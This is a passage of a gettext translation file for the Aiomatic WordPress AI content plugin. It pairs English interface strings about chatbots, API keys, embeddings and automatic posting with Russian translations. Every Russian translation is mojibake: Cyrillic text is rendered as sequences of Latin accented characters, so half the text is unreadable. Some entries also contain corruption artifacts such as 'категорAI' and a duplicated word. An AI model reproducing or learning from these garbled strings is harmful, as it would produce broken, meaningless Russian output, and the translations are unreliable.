иÑкуÑÑтвенного интеллекта, Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ плагина Aiomatic. " "Этот помощник может Ñтать ценным инÑтрументом Ð´Ð»Ñ Ð²Ð·Ð°Ð¸Ð¼Ð¾Ð´ÐµÐ¹ÑÑ‚Ð²Ð¸Ñ Ñ " "поÑетителÑми вашего Ñайта, ответа на чаÑто задаваемые вопроÑÑ‹ и " "предоÑÑ‚Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð¿ÐµÑ€Ñонализированной помощи, а также Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ ÐºÐ¾Ð½Ñ‚ÐµÐ½Ñ‚Ð° Ð´Ð»Ñ " "вашего Ñайта, ориентированного на ваши конкретные потребноÑти." #: res/aiomatic-chatbot.php:670 msgid "" "That's it! You've successfully set up an AI-powered chatbot on your " "WordPress website using the Aiomatic plugin. This chatbot can be a valuable " "tool for engaging with your website visitors, answering frequently asked " "questions, and providing personalized assistance." msgstr "" "Вот и вÑе! Ð’Ñ‹ уÑпешно наÑтроили Чат-бот на базе иÑкуÑÑтвенного интеллекта на " "Ñвоем веб-Ñайте WordPress Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ Плагина Aiomatic. Этот Чат-бот может " "быть ценным инÑтрументом Ð´Ð»Ñ Ð²Ð·Ð°Ð¸Ð¼Ð¾Ð´ÐµÐ¹ÑÑ‚Ð²Ð¸Ñ Ñ Ð¿Ð¾ÑетителÑми вашего Ñайта, " "ответов на чаÑто задаваемые вопроÑÑ‹ и предоÑÑ‚Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð¸Ð½Ð´Ð¸Ð²Ð¸Ð´ÑƒÐ°Ð»ÑŒÐ½Ð¾Ð¹ помощи." #: res/aiomatic-rules-list.php:1198 res/aiomatic-rules-list.php:3946 #: res/aiomatic-single-list.php:2637 #, php-format msgid "" "The %%ai_generated_title%% shortcode can be used in the 'Post Title List / " "TXT File URL / RSS Feed URL' settings field, to get partial or fully AI " "generated titles." msgstr "" "Шорткод %%ai_generated_title%% можно иÑпользовать в поле ÐаÑтроек \"СпиÑок " "Заголовоков публикации\" 'Post Title List / TXT File URL / RSS Feed URL', " "Поле ÐаÑтроек, чтобы получить чаÑтично или полноÑтью Ñозданные AI Заголовки." #. translators: 1: The name of the PHP constant that is set. #: aiomatic-helpers.php:1884 #, php-format msgid "The %s constant is set to true." msgstr "КонÑтанта %s имеет значение верно." #. translators: 1: The name of the PHP constant that is set. #: aiomatic-helpers.php:1879 #, php-format msgid "The %s constant is set to true. WP-Cron spawning is disabled." msgstr "КонÑтанта %s имеет значение Верно. WP-Cron spawning отключен." #: res/aiomatic-main.php:6511 msgid "the 'AI Embeddings' settings page" msgstr "Ñтраница ÐаÑтроек «ВÑÑ‚Ñ€Ð°Ð¸Ð²Ð°Ð½Ð¸Ñ AI»" #: res/aiomatic-main.php:4420 msgid "" "The 'Featured Image from URL' plugin is not active. Please install it and " "activate it: " msgstr "" "Плагин 'Featured Image from URL' не активен. ПожалуйÑта, уÑтановите его и " "активируйте:" #: res/aiomatic-main.php:2430 msgid "The Above Is A DeepL Free API Key:" msgstr "Выше приведен беÑплатный ключ API DeepL:" #: res/aiomatic-amazon-list.php:4359 res/aiomatic-csv-list.php:1345 #: res/aiomatic-review-list.php:4512 res/aiomatic-rules-list.php:4748 #: res/aiomatic-youtube-list.php:4270 msgid "" "The AI writer might add the title of the post to the created post content. " "Check this checkbox if you want to remove the title from the post content" msgstr "" "AI Создатель может добавить Заголовок ПоÑта к Контенту Ñозданного ПоÑта. " "УÑтановите Ñтот флажок, еÑли вы хотите удалить Заголовок из Контента ПоÑта." #: res/aiomatic-amazon-list.php:1794 res/aiomatic-csv-list.php:228 #: res/aiomatic-review-list.php:1863 res/aiomatic-rules-list.php:1992 #: res/aiomatic-single-list.php:1138 res/aiomatic-single-list.php:2441 #: res/aiomatic-single-list.php:3191 res/aiomatic-single-list.php:4444 #: res/aiomatic-single-list.php:5758 res/aiomatic-single-list.php:7124 #: res/aiomatic-youtube-list.php:1750 msgid "" "The AI writer might add the title of the post to the created post content. " "Check this checkbox if you want to remove the title from the post content." msgstr "" "AI Создатель может добавить Заголовок ПоÑта к Контенту Ñозданного ПоÑта. " "УÑтановите Ñтот флажок, еÑли вы хотите удалить Заголовок из Контента ПоÑта." #: res/aiomatic-main.php:1569 msgid "" "The Aiomatic plugin operates in conjunction with the OpenAI API or with " "AiomaticAPI (whichever you choose to use). To utilize it, you must first " "create an account on OpenAI and paste your API key in the plugin's settings " "('API Keys' tab from the top). OpenAI offers a $5 credit for new users. If " "you see a message stating, \"You exceeded your current quota, please check " "your plan and billing details\" it means you've depleted your OpenAI quota " "and need to buy more credit from OpenAI." msgstr "" "Плагин Aiomatic работает в Ñочетании Ñ API OpenAI или Ñ AiomaticAPI (в " "завиÑимоÑти от того, что вы решите иÑпользовать). Чтобы иÑпользовать его, вы " "должны Ñначала Ñоздать учетную запиÑÑŒ на OpenAI и вÑтавить Ñвой ключ API в " "ÐаÑтройки Плагина (вкладка «Ключи API» Ñверху). OpenAI предлагает кредит в " "размере 5 долларов Ð´Ð»Ñ Ð½Ð¾Ð²Ñ‹Ñ… пользователей. ЕÑли вы видите ПоÑÑ‚ «Вы " "превыÑили текущую квоту, проверьте Ñвой план и платежные данные», Ñто " "означает, что вы иÑчерпали Ñвою квоту OpenAI и вам нужно купить больше " "кредита у OpenAI." #: res/aiomatic-limits-statistics.php:462 msgid "" "The Aiomatic plugin provides a robust set of features for managing and " "monitoring the usage of AI services. This tutorial will guide you through " "the 'Limits and Statistics' feature of the Aiomatic plugin." msgstr "" "Плагин Aiomatic предоÑтавлÑет надежный набор функций Ð´Ð»Ñ ÑƒÐ¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð¸ " "мониторинга иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ ÑервиÑов AI. Это руководÑтво проведет Ð²Ð°Ñ Ñ‡ÐµÑ€ÐµÐ· " "функцию «Лимиты и СтатиÑтика» Плагина Aiomatic." #: res/aiomatic-logs.php:195 msgid "" "The amount of time (in seconds) that your site will spend on a single " "operation before timing out (to avoid server lockups)" msgstr "" "КоличеÑтво времени (в Ñекундах), которое ваш Ñайт потратит на одну операцию " "до иÑÑ‚ÐµÑ‡ÐµÐ½Ð¸Ñ Ð²Ñ€ÐµÐ¼ÐµÐ½Ð¸ Ð¾Ð¶Ð¸Ð´Ð°Ð½Ð¸Ñ (во избежание завиÑÐ°Ð½Ð¸Ñ Ñервера)." #: res/aiomatic-assistants.php:57 msgid "" "The Assistants API (or AI GPTs) is a cool feature that lets you create AI " "helpers in your applications, like your WordPress site. These assistants can " "do a bunch of stuff like run code, find information, and even call functions " "to get things done. Right now, it works with a few handy tools, and there's " "more coming soon." msgstr "" "API ÐÑÑиÑтенты (или AI GPTs) - Ñто клаÑÑÐ½Ð°Ñ Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ, позволÑÑŽÑ‰Ð°Ñ Ñоздавать " "помощников иÑкуÑÑтвенного интеллекта в приложениÑÑ…, например, на Ñайте " "WordPress. Эти аÑÑиÑтенты могут выполнÑÑ‚ÑŒ различные дейÑтвиÑ, такие как " "запуÑк кода, поиÑк информации и даже вызов функций Ð´Ð»Ñ Ð²Ñ‹Ð¿Ð¾Ð»Ð½ÐµÐ½Ð¸Ñ Ð·Ð°Ð´Ð°Ñ‡. " "Ð¡ÐµÐ¹Ñ‡Ð°Ñ Ð¾Ð½Ð° работает Ñ Ð½ÐµÑколькими удобными инÑтрументами, но в Ñкором " "времени поÑвÑÑ‚ÑÑ Ð¸ другие." #: res/aiomatic-assistants.php:64 msgid "" "The bulk of the work is done, now you can go to the part of the plugin where " "you want to use assistants and select the assistant instead of the AI model " "(usually, you will find an 'AI Assistant Name' settings field, where you " "will be able to select the imported assistants." msgstr "" "ОÑÐ½Ð¾Ð²Ð½Ð°Ñ Ñ‡Ð°ÑÑ‚ÑŒ работы выполнена, теперь вы можете перейти к той чаÑти " "плагина, где вы хотите иÑпользовать аÑÑиÑтентов, и выбрать аÑÑиÑтента вмеÑто " "модели AI (обычно вы найдете поле наÑтроек 'Ð˜Ð¼Ñ Ð˜Ð¼Ñ ÐÑÑиÑтента AI', где вы " "Ñможете выбрать импортированных аÑÑиÑтентов." #: res/aiomatic-playground.php:61 msgid "" "The chatbot feature allows you to chat with an AI bot, ask questions, and " "get replies. You would typically enter a question or statement, and the AI " "would generate a response. This could be used for a variety of purposes, " "such as answering frequently asked questions, providing customer support, or " "just having a conversation." msgstr "" "Ð¤ÑƒÐ½ÐºÑ†Ð¸Ñ Ð§Ð°Ñ‚-бота позволÑет вам общатьÑÑ Ñ Ð±Ð¾Ñ‚Ð¾Ð¼ AI, задавать вопроÑÑ‹ и " "получать ответы. Обычно вы вводите Ð²Ð¾Ð¿Ñ€Ð¾Ñ Ð¸Ð»Ð¸ утверждение, а AI генерирует " "ответ. Это можно иÑпользовать Ð´Ð»Ñ Ñ€Ð°Ð·Ð»Ð¸Ñ‡Ð½Ñ‹Ñ… целей, таких как ответы на чаÑто " "задаваемые вопроÑÑ‹, поддержка клиентов или проÑто общение." #: res/aiomatic-main.php:1589 #| msgid "" #| "The AI Assistant is a feature that allows you to add a button to the " #| "WordPress editor to assist in content creation. You can add your own " #| "menus with your own prompts. The AI Assistant is compatible with both " #| "Gutenberg and Classic Editor. Navigate to your Gutenberg or Classic " #| "Editor and look for the Aiomatic plugin's logo in the toolbar. Click on " #| "the logo and select the menu you want to use. Click the prompt you want " #| "to use. Please note that you need to use the \"Convert to Block\" feature " #| "in the Gutenberg Editor to use the AI Assistant." msgid "" "The Content Wizard is a feature that allows you to add a button to the " "WordPress editor to assist in content creation. You can add your own menus " "with your own prompts. The Content Wizard is compatible with both Gutenberg " "and Classic Editor. Navigate to your Gutenberg or Classic Editor and look " "for the Aiomatic plugin's logo in the toolbar. Click on the logo and select " "the menu you want to use. Click the prompt you want to use. Please note that " "you need to use the \"Convert to Block\" feature in the Gutenberg Editor to " "use the Content Wizard." msgstr "" "МаÑтер контента - Ñто функциÑ, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð¿Ð¾Ð·Ð²Ð¾Ð»Ñет добавить кнопку в редактор " "WordPress Ð´Ð»Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰Ð¸ в Ñоздании контента. Ð’Ñ‹ можете добавлÑÑ‚ÑŒ ÑобÑтвенные " "меню Ñ Ð¿Ñ€Ð¾Ð¼Ð¿Ñ‚Ð°Ð¼Ð¸. МаÑтер контента ÑовмеÑтим как Ñ Gutenberg, так и Ñ Classic " "Editor. Перейдите в редактор Gutenberg или Classic Editor и найдите логотип " "плагина Aiomatic на панели инÑтрументов. Ðажмите на логотип и выберите меню, " "которое вы хотите иÑпользовать. Ðажмите на промпт, который вы хотите " "иÑпользовать. Обратите внимание, что Ð´Ð»Ñ Ñ€Ð°Ð±Ð¾Ñ‚Ñ‹ Ñ Ð¼Ð°Ñтером контента " "необходимо иÑпользовать функцию \"Преобразовать в блок\" в редакторе " "Gutenberg." #: res/aiomatic-embeddings.php:184 msgid "" "The csv file should contain the embeddings data on the first column, each " "new data on a different row" msgstr "" "Файл csv должен Ñодержать данные о Ð’ÑтраиваниÑÑ… в первом Ñтолбце, каждые " "новые данные в другой Ñтроке." #: res/aiomatic-logs.php:164 msgid "The current language used by WordPress. Default = English" msgstr "Текущий Ñзык, иÑпользуемый WordPress. По умолчанию = английÑкий" #: aiomatic-automatic-ai-content-writer.php:22185 msgid "" "The daily token count for your user account was exceeded! Please try again " "tomorrow." msgstr "" "Превышено ежедневное количеÑтво токенов Ð´Ð»Ñ Ð²Ð°ÑˆÐµÐ¹ учетной запиÑи! ПожалуйÑта," " повторите попытку завтра." #: aiomatic-automatic-ai-content-writer.php:12808 #: res/aiomatic-automation-list.php:5386 msgid "" "The following OmniBlock IDs are not used in the queue (you can remove them): " msgstr "" "Следующие идентификаторы OmniBlock не иÑпользуютÑÑ Ð² очереди (их можно " "удалить):" #: res/aiomatic-shortcodes.php:111 msgid "" "The forms feature will allow you to extend the functionality of your site, " "provide customized responses to user questions or even create AI membership " "websites. These forms will be able to be used next to the conventional " "'built-in' shortcodes which are provided by the plugin. These 'built-in' " "shortcodes are listed in the 'Buil-in Shortcodes' tab from above." msgstr "" "Ð¤ÑƒÐ½ÐºÑ†Ð¸Ñ Ñ„Ð¾Ñ€Ð¼ позволит вам раÑширить функциональноÑÑ‚ÑŒ вашего Ñайта, " "предоÑтавить индивидуальные ответы на вопроÑÑ‹ пользователей или даже Ñоздать " "веб-Ñайты Ð´Ð»Ñ AI membership. Эти формы можно будет иÑпользовать Ñ€Ñдом Ñ " "обычными «вÑтроенными» Шорткодами, которые предоÑтавлÑÑŽÑ‚ÑÑ ÐŸÐ»Ð°Ð³Ð¸Ð½Ð¾Ð¼. Эти " "«вÑтроенные» Шорткоды перечиÑлены на вкладке «ВÑтроенные Шорткоды» Ñверху." #: res/aiomatic-logs.php:190 msgid "The largest file size that can be contained in one post." msgstr "МакÑимальный размер файла, который может ÑодержатьÑÑ Ð² одном ПоÑте." #: res/aiomatic-logs.php:325 msgid "" "The largest file size that can be uploaded to your WordPress installation." msgstr "" "МакÑимальный размер файла, который можно загрузить в вашу уÑтановку " "WordPress." #: res/aiomatic-main.php:8078 msgid "The license id for photos to be searched." msgstr "Идентификатор лицензии Ð´Ð»Ñ Ñ„Ð¾Ñ‚Ð¾Ð³Ñ€Ð°Ñ„Ð¸Ð¹, которые нужно иÑкать." #: res/aiomatic-rules-list.php:220 msgid "" "The main difference between the Topic Based and Title Based posting mode is " "that the Topic Based mode will make a separate API request for each chapter " "of the content (+intro, outro, q&a) and compose the article from the result " "of each of these separate API requests. While the Title Based posting will " "make a single API request for the entire post content. For longer articles, " "it is recommended you use the Topic Based Posting method." msgstr "" "ОÑновное различие между режимами публикации на оÑнове Темы и на оÑнове " "Заголовка заключаетÑÑ Ð² том, что режим на оÑнове Темы будет делать отдельный " "Ð·Ð°Ð¿Ñ€Ð¾Ñ API Ð´Ð»Ñ ÐºÐ°Ð¶Ð´Ð¾Ð¹ главы Контента (+Ð’ÑÑ‚ÑƒÐ¿Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð°Ñ Ð§Ð°ÑÑ‚ÑŒ, Ð—Ð°ÐºÐ»ÑŽÑ‡Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð°Ñ " "ЧаÑÑ‚ÑŒ, ВопроÑÑ‹ Ответы) и ÑоÑтавлÑÑ‚ÑŒ Статью на оÑнове результатов каждого из " "Ñтих отдельных API ЗапроÑов. Ð’ то Ð²Ñ€ÐµÐ¼Ñ ÐºÐ°Ðº Ð¿ÑƒÐ±Ð»Ð¸ÐºÐ°Ñ†Ð¸Ñ Ð½Ð° оÑнове Заголовка " "будет делать один Ð·Ð°Ð¿Ñ€Ð¾Ñ API Ð´Ð»Ñ Ð²Ñего Ñодержимого Статьи. Ð”Ð»Ñ Ð±Ð¾Ð»ÐµÐµ длинных " "Статей рекомендуетÑÑ Ð¸Ñпользовать метод публикации на оÑнове Темы." #: res/aiomatic-embeddings.php:50 msgid "The main steps of creating embeddings are" msgstr "ОÑновные Ñтапы ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð’Ñтраиваний:" #: res/aiomatic-shortcodes.php:113 msgid "The main steps of creating forms are" msgstr "ОÑновные Ñтапы ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð¤Ð¾Ñ€Ð¼:" #: res/aiomatic-training.php:58 msgid "The main steps of fine-tuning are" msgstr "ОÑновными Ñтапами Тонкой ÐаÑтройки ÑвлÑÑŽÑ‚ÑÑ" #: res/aiomatic-logs.php:135 msgid "The maximum amount of memory (RAM) that your site can use at one time." msgstr "" "МакÑимальный объем памÑти (ОЗУ), который ваш Ñайт может иÑпользовать " "одновременно." #: res/aiomatic-logs.php:248 res/aiomatic-logs.php:276 msgid "" "The maximum number of variables your server can use for a single function to " "avoid overloads." msgstr "" "МакÑимальное количеÑтво переменных, которые ваш Ñервер может иÑпользовать " "Ð´Ð»Ñ Ð¾Ð´Ð½Ð¾Ð¹ функции, чтобы избежать перегрузок." #: res/aiomatic-logs.php:213 msgid "" "The maximum number of variables your server can use for a single function to " "avoid overloads. This is an optional settings, as the plugin can handle also " "cases when this is lower than the required value." msgstr "" "МакÑимальное количеÑтво переменных, которые ваш Ñервер может иÑпользовать " "Ð´Ð»Ñ Ð¾Ð´Ð½Ð¾Ð¹ функции, чтобы избежать перегрузок. Это необÑÐ·Ð°Ñ‚ÐµÐ»ÑŒÐ½Ð°Ñ Ð½Ð°Ñтройка, " "так как Плагин может обрабатывать и Ñлучаи, когда Ñто значение меньше " "требуемого." #: res/image-seo/seo-panel.php:123 msgid "The media attachment ID was not found in the database: " msgstr "ID Идентификатор медиа-Ð²Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ Ð½Ðµ найден в базе данных:" #: res/image-seo/seo-panel.php:69 msgid "The media attachment ID was not parsed correctly, please try again." msgstr "" " ID Ð²Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ Ð¼ÑƒÐ»ÑŒÑ‚Ð¸Ð¼ÐµÐ´Ð¸Ð° не был правильно проанализирован, повторите попытку." #: res/image-seo/seo-panel.php:63 msgid "The media attachment ID was not passed correctly, please try again." msgstr "ID Ð²Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ Ð¼ÑƒÐ»ÑŒÑ‚Ð¸Ð¼ÐµÐ´Ð¸Ð° был передан неправильно, повторите попытку." #: res/aiomatic-amazon-list.php:290 res/aiomatic-automation-list.php:2611 #: res/aiomatic-csv-list.php:152 res/aiomatic-review-list.php:290 #: res/aiomatic-rules-list.php:300 res/aiomatic-youtube-list.php:290 msgid "The number of items (posts, pages) this rule has generated so far." msgstr "КоличеÑтво Ñлементов (ПоÑтов, Ñтраниц), Ñозданных Ñтим правилом." #: res/aiomatic-main.php:6644 msgid "The number of results to return for each query." msgstr "КоличеÑтво результатов, возвращаемых Ð´Ð»Ñ ÐºÐ°Ð¶Ð´Ð¾Ð³Ð¾ запроÑа." #: res/aiomatic-main.php:8165 msgid "" "The order in which to sort returned photos. Deafults to date-posted-desc " "(unless you are doing a radial geo query, in which case the default sorting " "is by ascending distance from the point specified)." msgstr "" "ПорÑдок Ñортировки возвращаемых фотографий. Deafults to date-posts-desc " "(еÑли вы не выполнÑете радиальный гео-запроÑ, в Ñтом Ñлучае Ñортировка по " "умолчанию производитÑÑ Ð¿Ð¾ возраÑтанию раÑÑтоÑÐ½Ð¸Ñ Ð¾Ñ‚ указанной точки)." #: aiomatic-automatic-ai-content-writer.php:1275 #, php-format msgid "" "The plugin is not registered. Automatic updating is disabled. Please " "purchase a license for it from here and " "register the plugin from the 'Main Settings' menu using your purchase code. " "How I find my purchase code?" msgstr "" "Плагин не зарегиÑтрирован. ÐвтоматичеÑкое обновление отключено. ПожалуйÑта, " "купите лицензию на него здеÑÑŒ и " "зарегиÑтрируйте Плагин из меню \"ОÑновные ÐаÑтройки\" Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ кода покупки." " Как Ñ Ð½Ð°Ñ…Ð¾Ð¶Ñƒ Ñвой код покупки?" #: update-checker/Puc/v5p2/Plugin/Ui.php:219 #, php-format msgctxt "the plugin title" msgid "A new version of the %s plugin is available." msgstr "ДоÑтупна Ð½Ð¾Ð²Ð°Ñ Ð²ÐµÑ€ÑÐ¸Ñ ÐŸÐ»Ð°Ð³Ð¸Ð½Ð° %s" #: update-checker/Puc/v5p2/Plugin/Ui.php:221 #, php-format msgctxt "the plugin title" msgid "Could not determine if updates are available for %s." msgstr "Ðе удалоÑÑŒ определить, доÑтупны ли Ð¾Ð±Ð½Ð¾Ð²Ð»ÐµÐ½Ð¸Ñ Ð´Ð»Ñ %s." #: update-checker/Puc/v5p2/Plugin/Ui.php:217 #, php-format msgctxt "the plugin title" msgid "The %s plugin is up to date." msgstr "Плагин %s обновлен." #: res/aiomatic-spinner-list.php:2781 msgid "" "The plugin will automatically add AI generated SEO meta descriptions to " "posts from your site." msgstr "" "Плагин автоматичеÑки добавит Ñозданные AI Мета-опиÑÐ°Ð½Ð¸Ñ SEO к ПоÑтам Ñ " "вашего Ñайта." #: res/aiomatic-spinner-list.php:2055 #| msgid "" #| "The plugin will automatically add internal links to other posts from your " #| "site, to keywords from each post." msgid "" "The plugin will automatically add automatic links to other posts from your " "site, to keywords from each post." msgstr "" "Плагин автоматичеÑки добавит Внутренние СÑылки на другие ПоÑÑ‚Ñ‹ Ñ Ð²Ð°ÑˆÐµÐ³Ð¾ " "Ñайта, к Ключевым Словам из каждого ПоÑта." #: res/aiomatic-spinner-list.php:2181 msgid "The plugin will automatically add categories to posts from your site." msgstr "Плагин автоматичеÑки добавит Категории к ПоÑтам Ñ Ð²Ð°ÑˆÐµÐ³Ð¾ Ñайта." #: res/aiomatic-spinner-list.php:2530 msgid "The plugin will automatically add comments to posts from your site." msgstr "" "Плагин будет автоматичеÑки добавлÑÑ‚ÑŒ Комментарии к ПоÑтам Ñ Ð²Ð°ÑˆÐµÐ³Ð¾ Ñайта." #: res/aiomatic-spinner-list.php:2356 msgid "The plugin will automatically add tags to posts from your site." msgstr "Плагин автоматичеÑки добавит Теги к ПоÑтам Ñ Ð²Ð°ÑˆÐµÐ³Ð¾ Ñайта." #: res/aiomatic-spinner-list.php:1525 msgid "" "The plugin will automatically edit the featured image of the post, using AI, " "based on the prompt you define in the settings." msgstr "" "Плагин автоматичеÑки отредактирует главное изображение поÑта Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ " "иÑкуÑÑтвенного интеллекта, оÑновываÑÑÑŒ на промпте, который вы зададите в " "наÑтройках." #: res/aiomatic-spinner-list.php:1249 msgid "" "The plugin will automatically edit the images found in the post content, " "using AI, based on the prompt you define in the settings." msgstr "" "Плагин будет автоматичеÑки редактировать изображениÑ, найденные в контенте " "поÑта, Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ иÑкуÑÑтвенного интеллекта, оÑновываÑÑÑŒ на промпте, который " "вы зададите в наÑтройках." #: res/aiomatic-spinner-list.php:1609 res/aiomatic-spinner-list.php:3701 #| msgid "" #| "The plugin will generate AI content, that will be preppended or appended " #| "to each post's content." msgid "" "The plugin will generate AI content, that will be prepended or appended to " "each post's content." msgstr "" "Плагин будет генерировать AI-контент, который будет добавлÑÑ‚ÑŒÑÑ Ðº контенту " "каждого поÑта." #: res/aiomatic-spinner-list.php:1347 msgid "" "The plugin will generate AI generated or royalty free images, that will be " "assigned as featured images for posts." msgstr "" "Плагин будет генерировать Ñгенерированные AI или беÑплатные изображениÑ, " "которые будут назначены в качеÑтве избранных изображений Ð´Ð»Ñ ÐŸÐ¾Ñтов." #: res/aiomatic-spinner-list.php:913 #| msgid "" #| "The plugin will rewrite the textual content of the published post, using " #| "AI." msgid "The plugin will rewrite the textual content of the post, using AI." msgstr "" "Плагин перепишет текÑтовый Контент опубликованного ПоÑта, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ AI." #: res/aiomatic-logs.php:116 msgid "The root URL of your site." msgstr "Корневой URL вашего Ñайта." #: res/aiomatic-main.php:2565 msgid "" "The style of the generated images. Must be one of vivid or natural. Vivid " "causes the model to lean towards generating hyper-real and dramatic images. " "Natural causes the model to produce more natural, less hyper-real looking " "images. This param is only supported for dall-e-3." msgstr "" "Стиль Ñоздаваемых изображений. Должен быть одним из Ñрких или еÑтеÑтвенных. " "Vivid заÑтавлÑет модель ÑклонÑÑ‚ÑŒÑÑ Ðº Ñозданию гиперреальных и драматичеÑких " "изображений. Natural заÑтавлÑет модель генерировать более еÑтеÑтвенные, " "менее гиперреалиÑтичные изображениÑ. Этот параметр поддерживаетÑÑ Ñ‚Ð¾Ð»ÑŒÐºÐ¾ Ð´Ð»Ñ " "dall-e-3." #: res/aiomatic-chatbot.php:2802 res/aiomatic-spinner-list.php:3022 msgid "" "The URL of the source image to be animated by the driver video, or a " "selection from the list of provided studio actors." msgstr "" "URL-Ð°Ð´Ñ€ÐµÑ Ð¸Ñходного изображениÑ, из которого будет анимировано видео , или " "выбор из ÑпиÑка предоÑтавленных актеров Ñтудии." #: res/aiomatic-logs.php:110 msgid "The URL of your site's homepage." msgstr "URL главной Ñтраницы вашего Ñайта." #: res/aiomatic-logs.php:318 msgid "The version of MySQL installed on your hosting server." msgstr "ВерÑÐ¸Ñ MySQL, уÑÑ‚Ð°Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ð°Ñ Ð½Ð° вашем хоÑтинг-Ñервере." #: res/aiomatic-logs.php:181 msgid "The version of PHP installed on your hosting server." msgstr "ВерÑÐ¸Ñ PHP, уÑÑ‚Ð°Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ð°Ñ Ð½Ð° вашем хоÑтинг-Ñервере." #: res/aiomatic-logs.php:122 msgid "The version of WordPress installed on your site." msgstr "ВерÑÐ¸Ñ WordPress, уÑÑ‚Ð°Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ð°Ñ Ð½Ð° вашем Ñайте." #: aiomatic-automatic-ai-content-writer.php:15655 msgid "Theme draft updated." msgstr "Черновой вариант темы обновлен." #: aiomatic-automatic-ai-content-writer.php:15651 msgid "Theme published." msgstr "Тема опубликована." #: aiomatic-automatic-ai-content-writer.php:15650 #, php-format msgid "Theme restored to revision from %s" msgstr "Тема воÑÑтановлена ​​до верÑии %s." #: aiomatic-automatic-ai-content-writer.php:15652 msgid "Theme saved." msgstr "Тема Ñохранена." #: aiomatic-automatic-ai-content-writer.php:15654 #, php-format msgid "Theme scheduled for: %1$s." msgstr "Тема запланирована на: %1$s." #: aiomatic-automatic-ai-content-writer.php:15653 msgid "Theme submitted." msgstr "Тема отправлена." #: aiomatic-automatic-ai-content-writer.php:15646 #: aiomatic-automatic-ai-content-writer.php:15649 msgid "Theme updated." msgstr "Тема обновлена." #: update-checker/Puc/v5p2/Vcs/PluginUpdateChecker.php:113 msgid "There is no changelog available." msgstr "Журнал изменений недоÑтупен." #: res/aiomatic-logs.php:515 msgid "These rules are currently running on your server." msgstr "Эти правила в наÑтоÑщее Ð²Ñ€ÐµÐ¼Ñ Ñ€Ð°Ð±Ð¾Ñ‚Ð°ÑŽÑ‚ на вашем Ñервере." #: res/aiomatic-review-list.php:838 res/aiomatic-review-list.php:3440 #: res/aiomatic-single-list.php:6343 msgid "Third Person Plural (they, them, theirs, themselves)" msgstr "Третье лицо множеÑтвенного чиÑла (они, их, их, Ñами)" #: res/aiomatic-review-list.php:837 res/aiomatic-review-list.php:3435 #: res/aiomatic-single-list.php:6342 msgid "Third Person Singular (he, she, it)" msgstr "Третье лицо единÑтвенного чиÑла (он, она, оно)" #: res/aiomatic-assistants.php:16 res/aiomatic-training.php:16 msgid "This feature is currently not supported when using Azure/Claude API!" msgstr "" "Эта Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ Ð² наÑтоÑщее Ð²Ñ€ÐµÐ¼Ñ Ð½Ðµ поддерживаетÑÑ Ð¿Ñ€Ð¸ иÑпользовании API " "Azure/Claude!" #: res/aiomatic-assistants.php:40 res/aiomatic-training.php:33 msgid "This feature is currently supported only for OpenAI API keys." msgstr "" "Ð’ наÑтоÑщее Ð²Ñ€ÐµÐ¼Ñ Ñта Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ Ð¿Ð¾Ð´Ð´ÐµÑ€Ð¶Ð¸Ð²Ð°ÐµÑ‚ÑÑ Ñ‚Ð¾Ð»ÑŒÐºÐ¾ Ð´Ð»Ñ ÐºÐ»ÑŽÑ‡ÐµÐ¹ OpenAI API." #: res/aiomatic-assistants.php:25 res/aiomatic-training.php:25 msgid "" "This feature is currently supported only if you enter a single OpenAI API " "key in the plugin's 'Main Settings' menu." msgstr "" "Ð’ наÑтоÑщее Ð²Ñ€ÐµÐ¼Ñ Ñта Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ Ð¿Ð¾Ð´Ð´ÐµÑ€Ð¶Ð¸Ð²Ð°ÐµÑ‚ÑÑ Ñ‚Ð¾Ð»ÑŒÐºÐ¾ в том Ñлучае, еÑли вы " "введете один ключ API OpenAI в меню «ОÑновные ÐаÑтройки» Плагина." #: res/aiomatic-main.php:1656 msgid "" "This feature of the plugin is disabled! Please enable it from the above " "switch." msgstr "" "Эта Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ ÐŸÐ»Ð°Ð³Ð¸Ð½Ð° отключена! ПожалуйÑта, включите его Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ " "вышеуказанного переключателÑ." #: res/aiomatic-amazon-list.php:1393 res/aiomatic-csv-list.php:461 #: res/aiomatic-review-list.php:1462 res/aiomatic-rules-list.php:1595 #: res/aiomatic-youtube-list.php:1349 msgid "" "This feature will try to remove the WordPress's default post category. This " "may fail in case no additional categories are added, because WordPress " "requires at least one post category for every post." msgstr "" "Эта Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ Ð¿Ð¾Ð¿Ñ‹Ñ‚Ð°ÐµÑ‚ÑÑ ÑƒÐ´Ð°Ð»Ð¸Ñ‚ÑŒ Ñтандартную категорию ПоÑтов WordPress. Это " "может завершитьÑÑ Ð¾ÑˆÐ¸Ð±ÐºÐ¾Ð¹, еÑли дополнительные категорAI не добавлены, " "поÑкольку WordPress требует как минимум одну категорию ПоÑтов Ð´Ð»Ñ 